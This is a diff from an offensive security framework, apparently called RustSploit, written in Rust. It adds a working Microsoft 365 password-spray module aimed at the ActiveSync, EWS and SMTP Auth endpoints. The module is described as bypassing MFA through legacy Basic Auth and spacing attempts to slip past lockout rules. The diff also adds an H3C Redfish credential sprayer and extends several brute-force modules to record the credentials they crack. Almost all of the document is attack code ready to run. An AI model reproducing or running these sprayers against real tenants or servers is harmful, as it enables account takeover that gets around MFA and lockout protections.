crate::mprintln!("{}", format!(
"[~] Lockout threshold ({}) reached for '{}' — cooling down {}s ...",
lockout_threshold, user, lockout_cooldown_secs
).yellow());
tokio::time::sleep(Duration::from_secs(lockout_cooldown_secs)).await;
*count = 0;
}
tried += 1;
ctx.rate_limit(target).await;
match try_login(&client, &host, &path, user, pass).await {
LoginResult::Success(token) => {
crate::mprintln!("{}", format!(
"[+] HIT: {}:{} -> X-Auth-Token={}",
user, pass, token
).green().bold());
// Reset the counter — credential is valid, no lockout concern.
attempt_counts.insert(user.clone(), 0);
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: &host, port, service: "redfish", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/h3c_redfish_session_spray",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!(
"H3C iBMC Redfish session credentials valid {}:{} on {}",
user, pass, host
),
data: Some(serde_json::json!({
"service": "redfish",
"port": port,
"username": user,
"password": pass,
"token": token,
})),
});
found.push((user.clone(), pass.clone(), token));
if stop_on_hit { break 'outer; }
}
LoginResult::Denied => {
// Increment the per-user failure counter.
*attempt_counts.entry(user.clone()).or_insert(0) += 1;
if verbose {
crate::mprintln!("{}", format!(
"[-] {}:{} — denied (attempt {}/{})",
user, pass,
attempt_counts.get(user).unwrap_or(&0),
lockout_threshold,
).dimmed());
}
}
LoginResult::RateLimited(wait_secs) => {
crate::mprintln!("{}", format!(
"[~] 429 rate-limited — waiting {}s ...", wait_secs
).yellow());
tokio::time::sleep(Duration::from_secs(wait_secs)).await;
// Do not increment the failure counter for rate-limit responses;
// the attempt was not actually evaluated by the BMC.
}
LoginResult::Error(msg) => {
if verbose {
crate::mprintln!("{}", format!(
"[!] {}:{} — error: {}", user, pass, msg
).red());
}
}
}
}
// ── Summary ─────────────────────────────────────────────────────────
crate::mprintln!();
crate::mprintln!("{}", format!(
"[*] {} attempts; {} valid credential(s)",
tried, found.len()
).cyan().bold());
if found.is_empty() {
crate::mprintln!("{}", "[-] No valid credentials found.".yellow());
}
Ok(outcome)
}
// ── Login attempt helpers ───────────────────────────────────────────────
enum LoginResult {
/// Successful authentication — carries the X-Auth-Token value.
Success(String),
/// 401 / 403 — invalid credentials.
Denied,
/// 429 — server asked us to back off. Carries the wait duration in
/// seconds (from Retry-After, capped at 60).
RateLimited(u64),
/// Transport or unexpected server error.
Error(String),
}
/// Single login attempt against the Redfish session endpoint.
///
/// On success (HTTP 201), extracts the `X-Auth-Token` response header.
async fn try_login(
client: &reqwest::Client,
host: &str,
path: &str,
user: &str,
pass: &str,
) -> LoginResult {
let url = format!("https://{}{}", host, path);
let body = serde_json::json!({
"UserName": user,
"Password": pass,
});
let resp = match client
.post(&url)
.header("Content-Type", "application/json")
.json(&body)
.send()
.await
{
Ok(r) => r,
Err(e) => return LoginResult::Error(format!("{}", e)),
};
let status = resp.status().as_u16();
match status {
201 => {
// Success — extract X-Auth-Token from response headers.
let token = resp
.headers()
.get("X-Auth-Token")
.and_then(|v| v.to_str().ok())
.map(|s| s.to_string())
.unwrap_or_else(|| "(header-missing)".to_string());
LoginResult::Success(token)
}
429 => {
let wait = resp
.headers()
.get("Retry-After")
.and_then(|v| v.to_str().ok())
.and_then(|v| v.parse::<u64>().ok())
.unwrap_or(5)
.min(60);
LoginResult::RateLimited(wait)
}
401 | 403 => LoginResult::Denied,
_ => LoginResult::Error(format!("unexpected HTTP {}", status)),
}
}
// ── Utility helpers ─────────────────────────────────────────────────────
async fn read_lines(path: &str) -> Result<Vec<String>> {
let content = tokio::fs::read_to_string(path).await
.with_context(|| format!("read {}", path))?;
Ok(content.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect())
}
fn strip_scheme(host: &str) -> String {
let mut t = host.trim().to_string();
for prefix in &["https://", "http://"] {
if let Some(stripped) = t.strip_prefix(prefix) {
t = stripped.to_string();
break;
}
}
if let Some(slash) = t.find('/') { t.truncate(slash); }
if let Some(colon) = t.find(':') { t.truncate(colon); }
t
}
crate::register_native_module!(crate::module::Category::Creds, "generic/h3c_redfish_session_spray", native);
@@ -203,7 +203,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -234,7 +234,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
}).await?;
return Ok(ModuleOutcome::ok());
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid HTTP Basic Auth credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "http-basic",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
@@ -479,6 +493,19 @@ async fn try_http_login(
user: &str,
pass: &str,
) -> Result<bool> {
// Baseline probe WITHOUT credentials. If the endpoint serves 2xx to an
// unauthenticated request it is not actually protected by Basic Auth, so a
// subsequent 2xx with credentials is meaningless — treating it as a valid
// login produces a false positive for every credential pair. Only when the
// server challenges (401) does a credentialed 2xx confirm a real login.
let baseline = client
.get(url)
.send()
.await
.context("HTTP baseline request failed")?;
let baseline_status = baseline.status().as_u16();
let server_enforces_basic_auth = baseline_status == 401;
let response = client
.get(url)
.basic_auth(user, Some(pass))
@@ -488,7 +515,16 @@ async fn try_http_login(
let status = response.status().as_u16();
match status {
200..=299 => Ok(true),
200..=299 => {
if server_enforces_basic_auth {
Ok(true)
} else {
// Endpoint returns success without credentials too — cannot
// confirm these creds are valid. Report as a non-success
// rather than flooding loot with false positives.
Ok(false)
}
}
401 => Ok(false),
403 => {
crate::mprintln!("{}", format!("[?] 403 Forbidden for {}:{} — authenticated but unauthorized", user, pass).yellow().dimmed());
+16 -2
View File
@@ -186,7 +186,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -221,7 +221,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
}).await?;
return Ok(ModuleOutcome::ok());
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid IMAP credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "imap",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
@@ -0,0 +1,766 @@
//! M365 ActiveSync/EWS Password Spray Module (MFA Bypass)
//!
//! Automates password spraying against Microsoft 365 ActiveSync, EWS, and SMTP
//! Auth endpoints. On managed tenants that still have Basic Auth enabled, these
//! legacy protocols bypass MFA entirely.
//!
//! Strategy: spray 1 password across ALL accounts per round, with a configurable
//! delay between rounds. This avoids per-account lockout while testing rapidly.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::time::Duration;
use base64::{engine::general_purpose, Engine as _};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file, cfg_prompt_yes_no, load_lines,
build_http_client,
};
// ============================================================================
// Constants
// ============================================================================
const ACTIVESYNC_URL: &str = "https://outlook.office365.com/Microsoft-Server-ActiveSync";
const EWS_URL: &str = "https://outlook.office365.com/EWS/Exchange.asmx";
const SMTP_HOST: &str = "smtp.office365.com";
const SMTP_PORT: u16 = 587;
const DEFAULT_DELAY_SECS: u64 = 5;
const DEFAULT_CONCURRENCY: usize = 10;
const DEFAULT_TIMEOUT_SECS: u64 = 15;
// ============================================================================
// Module Info
// ============================================================================
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "M365 ActiveSync/EWS Password Spray (MFA Bypass)".to_string(),
description: "Password spray against M365 ActiveSync, EWS, and SMTP Auth endpoints. \
Basic Auth on these legacy protocols bypasses MFA on managed tenants. \
Uses a one-password-per-round strategy to evade account lockout policies."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://github.com/dafthack/MSOLSpray".to_string(),
"https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/deprecation-of-basic-authentication-exchange-online".to_string(),
"https://blog.rapid7.com/2020/06/09/o365-credential-stuffing-attacks/".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Excellent,
default_port: Some(443),
}
}
// ============================================================================
// Spray Mode
// ============================================================================
#[derive(Debug, Clone, Copy, PartialEq)]
enum SprayMode {
ActiveSync,
Ews,
Smtp,
All,
}
impl SprayMode {
fn parse(s: &str) -> Self {
match s.to_lowercase().trim() {
"activesync" | "as" => Self::ActiveSync,
"ews" => Self::Ews,
"smtp" => Self::Smtp,
"all" => Self::All,
_ => Self::All,
}
}
}
// ============================================================================
// Spray Result
// ============================================================================
#[derive(Debug, Clone)]
struct SprayHit {
username: String,
password: String,
endpoint: String,
status: u16,
detail: String,
}
// ============================================================================
// HTTP Spray Logic
// ============================================================================
/// Attempt Basic Auth against the given URL. Returns (status_code, x-ms-diagnostics header).
async fn try_http_basic(
client: &reqwest::Client,
url: &str,
username: &str,
password: &str,
) -> Result<(u16, Option<String>)> {
let creds = format!("{}:{}", username, password);
let encoded = general_purpose::STANDARD.encode(creds.as_bytes());
let resp = client
.get(url)
.header("Authorization", format!("Basic {}", encoded))
.header("User-Agent", "Microsoft-Server-ActiveSync")
.send()
.await
.context("HTTP request failed")?;
let status = resp.status().as_u16();
let diag = resp
.headers()
.get("X-MS-Diagnostics")
.and_then(|v| v.to_str().ok())
.map(|s| s.to_string());
Ok((status, diag))
}
/// Classify an HTTP response for M365 endpoints.
fn classify_http_response(status: u16, diag: &Option<String>) -> &'static str {
match status {
200 => "VALID CREDENTIALS - MFA BYPASSED",
401 => "Invalid password",
403 => "Account locked/blocked",
456 => "Blocked by Conditional Access Policy",
_ => {
if let Some(d) = diag {
if d.contains("LockoutThreshold") {
return "Account lockout threshold reached";
}
if d.contains("UserNotFound") {
return "User not found";
}
}
"Unknown response"
}
}
}
// ============================================================================
// SMTP Spray Logic
// ============================================================================
/// Attempt SMTP AUTH LOGIN via STARTTLS on smtp.office365.com:587.
fn try_smtp_auth(username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
use std::io::{BufRead, BufReader, Write};
use std::net::TcpStream;
let addr = format!("{}:{}", SMTP_HOST, SMTP_PORT);
let timeout = Duration::from_secs(timeout_secs);
let socket_addr = addr
.parse::<std::net::SocketAddr>()
.or_else(|_| {
use std::net::ToSocketAddrs;
addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("DNS resolution failed for {}", SMTP_HOST))
})?;
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut reader = BufReader::new(&stream);
let mut writer: &TcpStream = &stream;
// Read banner
let mut line = String::new();
reader.read_line(&mut line)?;
if !line.starts_with("220") {
return Err(anyhow!("No 220 banner from SMTP server"));
}
// EHLO
writer.write_all(b"EHLO spray\r\n")?;
writer.flush()?;
// Read EHLO response
loop {
let mut resp = String::new();
reader.read_line(&mut resp)?;
if resp.starts_with("250 ") {
break;
}
if !resp.starts_with("250") {
return Err(anyhow!("Unexpected EHLO response: {}", resp.trim()));
}
}
// STARTTLS
writer.write_all(b"STARTTLS\r\n")?;
writer.flush()?;
let mut starttls_resp = String::new();
reader.read_line(&mut starttls_resp)?;
if !starttls_resp.starts_with("220") {
return Err(anyhow!("STARTTLS not supported"));
}
// Upgrade to TLS using native-tls
let connector = native_tls::TlsConnector::builder()
.danger_accept_invalid_certs(false)
.build()
.context("TLS connector build failed")?;
let mut tls_stream = connector
.connect(SMTP_HOST, stream)
.context("TLS handshake failed")?;
// `BufReader` over a mutable borrow of the TLS stream gives us `read_line`
// while still allowing writes via `get_mut()` (since `&mut TlsStream`
// implements both `Read` and `Write`).
let mut tls_reader = BufReader::new(&mut tls_stream);
// EHLO again over TLS
std::io::Write::write_all(tls_reader.get_mut(), b"EHLO spray\r\n")?;
std::io::Write::flush(tls_reader.get_mut())?;
loop {
let mut resp = String::new();
tls_reader.read_line(&mut resp)?;
if resp.starts_with("250 ") {
break;
}
if !resp.starts_with("250") {
return Err(anyhow!("Unexpected post-TLS EHLO response"));
}
}
// AUTH LOGIN
std::io::Write::write_all(tls_reader.get_mut(), b"AUTH LOGIN\r\n")?;
std::io::Write::flush(tls_reader.get_mut())?;
let mut prompt = String::new();
tls_reader.read_line(&mut prompt)?;
if !prompt.starts_with("334") {
return Ok(false);
}
// Send username (base64)
let user_b64 = general_purpose::STANDARD.encode(username.as_bytes());
std::io::Write::write_all(tls_reader.get_mut(), format!("{}\r\n", user_b64).as_bytes())?;
std::io::Write::flush(tls_reader.get_mut())?;
let mut prompt2 = String::new();
tls_reader.read_line(&mut prompt2)?;
if !prompt2.starts_with("334") {
return Ok(false);
}
// Send password (base64)
let pass_b64 = general_purpose::STANDARD.encode(password.as_bytes());
std::io::Write::write_all(tls_reader.get_mut(), format!("{}\r\n", pass_b64).as_bytes())?;
std::io::Write::flush(tls_reader.get_mut())?;
let mut auth_resp = String::new();
tls_reader.read_line(&mut auth_resp)?;
// 235 = success
if auth_resp.starts_with("235") {
let _ = std::io::Write::write_all(tls_reader.get_mut(), b"QUIT\r\n");
let _ = std::io::Write::flush(tls_reader.get_mut());
return Ok(true);
}
Ok(false)
}
// ============================================================================
// Display
// ============================================================================
fn display_banner() {
if crate::utils::is_batch_mode() {
return;
}
crate::mprintln!(
"{}",
"╔══════════════════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ M365 ActiveSync/EWS Password Spray (MFA Bypass) ║".cyan()
);
crate::mprintln!(
"{}",
"║ ║".cyan()
);
crate::mprintln!(
"{}",
"║ Basic Auth on legacy protocols bypasses MFA on managed tenants ║".cyan()
);
crate::mprintln!(
"{}",
"║ Strategy: 1 password per round across all accounts ║".cyan()
);
crate::mprintln!(
"{}",
"║ Targets: ActiveSync, EWS, SMTP Auth ║".cyan()
);
crate::mprintln!(
"{}",
"╚══════════════════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
// ============================================================================
// Main Run
// ============================================================================
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("m365_activesync_spray requires a single-host target")?;
// This module sprays the fixed Exchange Online endpoints
// (outlook.office365.com / smtp.office365.com) regardless of which host
// it is pointed at. Under the universal per-host scheduler fan-out, a
// CIDR/file/multi target is expanded into one `run()` call per host — so
// without this gate the ENTIRE user×password spray against Microsoft 365
// would be repeated once for every host in the input, wasting attempts,
// multiplying lockout risk on real M365 accounts, and producing duplicate
// findings. Only proceed when the resolved single target is actually an
// Exchange Online host; for any other host (e.g. an unrelated address
// pulled in by fan-out) skip cleanly so the spray runs exactly once.
// Extract the bare hostname from the resolved single target, tolerating
// optional `user@`, `[ipv6]`, and `:port` decorations.
let mut host = target;
if let Some((_, rest)) = host.rsplit_once('@') {
host = rest;
}
if let Some(rest) = host.strip_prefix('[') {
// `[ipv6]` or `[ipv6]:port` — take the bracketed portion.
host = rest.split(']').next().unwrap_or(rest);
} else if let Some((h, _)) = host.rsplit_once(':') {
// `host:port` — strip the trailing port.
host = h;
}
let host = host.trim_end_matches('.').to_ascii_lowercase();
let is_m365_endpoint = host == "outlook.office365.com"
|| host == "smtp.office365.com"
|| host.ends_with(".office365.com")
|| host.ends_with(".outlook.com")
|| host.ends_with(".onmicrosoft.com");
if !is_m365_endpoint {
let mut outcome = ModuleOutcome::ok();
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!(
"Skipped M365 spray: target '{}' is not an Exchange Online endpoint. \
Point this module at outlook.office365.com / smtp.office365.com (or a \
tenant host) to run the spray exactly once.",
target
),
data: None,
});
if !ctx.batch_mode {
crate::mprintln!(
"{}",
format!(
"[*] Skipping {} — not an M365/Exchange Online endpoint (no per-host re-spray).",
target
)
.dimmed()
);
}
return Ok(outcome);
}
display_banner();
// --- Configuration prompts ---
let users_file = cfg_prompt_existing_file("user_list", "User list file (email addresses)").await?;
let pass_file = cfg_prompt_existing_file("password_list", "Password list file").await?;
let delay_secs: u64 = cfg_prompt_int_range(
"delay_secs",
"Delay between rounds (seconds, lockout evasion)",
DEFAULT_DELAY_SECS as i64,
0,
300,
)
.await? as u64;
let concurrency: usize = cfg_prompt_int_range(
"concurrency",
"Max concurrent connections per round",
DEFAULT_CONCURRENCY as i64,
1,
100,
)
.await? as usize;
let mode_str = cfg_prompt_default(
"spray_mode",
"Spray mode (activesync/ews/smtp/all)",
"all",
)
.await?;
let mode = SprayMode::parse(&mode_str);
let output_file = cfg_prompt_output_file(
"output_file",
"Output file for valid credentials",
"m365_spray_results.txt",
)
.await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
// --- Load wordlists ---
let users = load_lines(&users_file)?;
let passwords = load_lines(&pass_file)?;
if users.is_empty() {
return Err(anyhow!("User list is empty"));
}
if passwords.is_empty() {
return Err(anyhow!("Password list is empty"));
}
crate::mprintln!(
"[*] Loaded {} users and {} passwords",
users.len().to_string().bold(),
passwords.len().to_string().bold()
);
crate::mprintln!(
"[*] Mode: {:?} | Concurrency: {} | Delay between rounds: {}s",
mode,
concurrency,
delay_secs
);
crate::mprintln!();
// --- Build HTTP client ---
let client = build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.context("Failed to build HTTP client")?;
// --- Spray execution ---
// Strategy: iterate passwords (outer), spray each password across all users (inner)
let mut hits: Vec<SprayHit> = Vec::new();
let total_rounds = passwords.len();
for (round_idx, password) in passwords.iter().enumerate() {
if ctx.is_cancelled() {
crate::mprintln!("{}", "[!] Cancelled by operator".yellow());
break;
}
crate::mprintln!(
"{}",
format!(
"[*] Round {}/{} - Spraying password: {}",
round_idx + 1,
total_rounds,
password
)
.cyan()
);
// Spray this password across all users with concurrency control
let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
let mut handles = Vec::new();
for user in &users {
if ctx.is_cancelled() {
break;
}
let sem = semaphore.clone();
let client = client.clone();
let user = user.clone();
let password = password.clone();
let mode = mode;
let verbose = verbose;
let handle = tokio::spawn(async move {
let _permit = sem.acquire().await.ok()?;
let mut round_hits: Vec<SprayHit> = Vec::new();
// --- ActiveSync ---
if mode == SprayMode::ActiveSync || mode == SprayMode::All {
match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await {
Ok((status, diag)) => {
let detail = classify_http_response(status, &diag);
if status == 200 {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "ActiveSync".to_string(),
status,
detail: detail.to_string(),
});
} else if verbose {
crate::mprintln!(
" [{}] {} @ ActiveSync: {} ({})",
status,
user,
detail,
diag.clone().unwrap_or_default()
);
}
// Warn on lockout/block
if status == 403 || status == 456 {
crate::mprintln!(
" {}",
format!(
"[!] {} - {} ({})",
user,
detail,
diag.unwrap_or_default()
)
.yellow()
);
}
}
Err(e) => {
if verbose {
crate::mprintln!(
" [-] {} @ ActiveSync error: {}",
user,
e
);
}
}
}
}
// --- EWS ---
if mode == SprayMode::Ews || mode == SprayMode::All {
match try_http_basic(&client, EWS_URL, &user, &password).await {
Ok((status, diag)) => {
let detail = classify_http_response(status, &diag);
if status == 200 {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "EWS".to_string(),
status,
detail: detail.to_string(),
});
} else if verbose {
crate::mprintln!(
" [{}] {} @ EWS: {} ({})",
status,
user,
detail,
diag.clone().unwrap_or_default()
);
}
if status == 403 || status == 456 {
crate::mprintln!(
" {}",
format!(
"[!] {} - {} ({})",
user,
detail,
diag.unwrap_or_default()
)
.yellow()
);
}
}
Err(e) => {
if verbose {
crate::mprintln!(" [-] {} @ EWS error: {}", user, e);
}
}
}
}
// --- SMTP ---
if mode == SprayMode::Smtp || mode == SprayMode::All {
let user_clone = user.clone();
let pass_clone = password.clone();
let smtp_result = tokio::task::spawn_blocking(move || {
try_smtp_auth(&user_clone, &pass_clone, DEFAULT_TIMEOUT_SECS)
})
.await;
match smtp_result {
Ok(Ok(true)) => {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "SMTP".to_string(),
status: 235,
detail: "VALID CREDENTIALS - SMTP Auth (no lockout on this protocol)".to_string(),
});
}
Ok(Ok(false)) => {
if verbose {
crate::mprintln!(" [AUTH_FAIL] {} @ SMTP", user);
}
}
Ok(Err(e)) => {
if verbose {
crate::mprintln!(" [-] {} @ SMTP error: {}", user, e);
}
}
Err(e) => {
if verbose {
crate::mprintln!(" [-] {} @ SMTP task error: {}", user, e);
}
}
}
}
Some(round_hits)
});
handles.push(handle);
}
// Collect results from this round
for handle in handles {
if let Ok(Some(round_hits)) = handle.await {
for hit in round_hits {
crate::mprintln!(
"\r{}",
format!(
"[PWNED] {}:{} via {} - {}",
hit.username, hit.password, hit.endpoint, hit.detail
)
.red()
.bold()
);
// Store credential
let _id = crate::cred_store::store_credential(crate::cred_store::NewCred {
host: "outlook.office365.com",
port: if hit.endpoint == "SMTP" { SMTP_PORT } else { 443 },
service: &hit.endpoint.to_lowercase(),
username: &hit.username,
secret: &hit.password,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/m365_activesync_spray",
})
.await;
hits.push(hit);
}
}
}
// Delay between rounds (lockout evasion)
if round_idx + 1 < total_rounds && delay_secs > 0 {
crate::mprintln!(
"{}",
format!("[*] Waiting {}s before next round (lockout evasion)...", delay_secs).dimmed()
);
tokio::time::sleep(Duration::from_secs(delay_secs)).await;
}
}
// --- Results Summary ---
crate::mprintln!();
crate::mprintln!("{}", "=== Spray Complete ===".cyan().bold());
crate::mprintln!(
"[*] Valid credentials found: {}",
hits.len().to_string().green().bold()
);
if !hits.is_empty() {
crate::mprintln!();
crate::mprintln!("{}", "[!] NOTE: These credentials bypass MFA via legacy Basic Auth!".red().bold());
crate::mprintln!(
"{}",
"[!] The tenant has Basic Auth enabled on legacy protocols (ActiveSync/EWS/SMTP)."
.red()
);
crate::mprintln!();
for hit in &hits {
crate::mprintln!(
" {} | {}:{} | {} | {}",
hit.endpoint.bold(),
hit.username,
hit.password,
hit.status,
hit.detail
);
}
// Save to file
save_results(&hits, &output_file)?;
}
// --- Build outcome ---
let mut outcome = ModuleOutcome::ok();
for hit in &hits {
outcome.findings.push(Finding {
target: "outlook.office365.com".to_string(),
kind: FindingKind::Credential,
message: format!(
"M365 credential valid (MFA BYPASSED via legacy auth): {}:{} [{}]",
hit.username, hit.password, hit.endpoint
),
data: Some(serde_json::json!({
"username": hit.username,
"password": hit.password,
"endpoint": hit.endpoint,
"status_code": hit.status,
"detail": hit.detail,
"mfa_bypassed": true,
"service": "m365_legacy_auth",
"port": if hit.endpoint == "SMTP" { SMTP_PORT } else { 443 },
})),
});
}
Ok(outcome)
}
// ============================================================================
// Save Results
// ============================================================================
fn save_results(hits: &[SprayHit], path: &str) -> Result<()> {
use std::io::Write;
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
let mut file = opts.open(path).context("Failed to open output file")?;
writeln!(file, "# M365 ActiveSync/EWS Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# WARNING: These credentials bypass MFA via legacy Basic Auth")?;
writeln!(file, "# Total: {} valid credentials found", hits.len())?;
writeln!(file)?;
writeln!(file, "# Format: endpoint | username:password | status | detail")?;
for hit in hits {
writeln!(
file,
"{} | {}:{} | {} | {}",
hit.endpoint, hit.username, hit.password, hit.status, hit.detail
)?;
}
crate::mprintln!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
// ============================================================================
// Registration
// ============================================================================
crate::register_native_module!(crate::module::Category::Creds, "creds/generic/m365_activesync_spray", native);
+2
View File
@@ -6,10 +6,12 @@
pub mod ftp_anonymous;
pub mod ftp_bruteforce;
pub mod h3c_oem_kvm_bruteforce;
pub mod h3c_redfish_session_spray;
pub mod http_basic_bruteforce;
pub mod imap_bruteforce;
pub mod l2tp_bruteforce;
pub mod memcached_bruteforce;
pub mod m365_activesync_spray;
pub mod mqtt_bruteforce;
pub mod mysql_bruteforce;
pub mod pop3_bruteforce;
+16 -2
View File
@@ -151,7 +151,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -186,7 +186,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
}).await?;
return Ok(ModuleOutcome::ok());
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid POP3 credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "pop3",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
+17 -2
View File
@@ -318,7 +318,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -336,7 +336,22 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
try_proxy_auth(proxy_type, &host, port, &user, &pass, 5000).await
}
}).await?;
return Ok(ModuleOutcome::ok());
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid proxy credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "proxy",
"proxy_type": format!("{:?}", proxy_type),
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single target ---
+33 -2
View File
@@ -217,7 +217,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -249,7 +249,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
}).await?;
return Ok(ModuleOutcome::ok());
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(crate::module::Finding {
target: host.clone(),
kind: crate::module::FindingKind::Credential,
message: format!("Valid Redis credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "redis",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
@@ -462,6 +476,23 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
result.save_to_file(path)?;
}
// Surface every discovered credential as a Finding (was previously printed
// and saved but never pushed into the outcome, so the scheduler/LootStore
// never saw brute-forced Redis creds).
for (host, user, pass) in &result.found {
outcome.findings.push(crate::module::Finding {
target: host.clone(),
kind: crate::module::FindingKind::Credential,
message: format!("Valid Redis credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "redis",
"port": port,
})),
});
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
+18 -3
View File
@@ -69,7 +69,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -101,7 +101,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
}).await?;
return Ok(ModuleOutcome::ok());
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid SMTP credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "smtp",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
@@ -116,7 +130,8 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "smtp_results.txt").await?;
let default_name = format!("smtp_results_{}.txt", target.replace(['/', ':', '.', '[', ']', '\\'], "_"));
let output_file = cfg_prompt_output_file("output_file", "Output file for results", &default_name).await?;
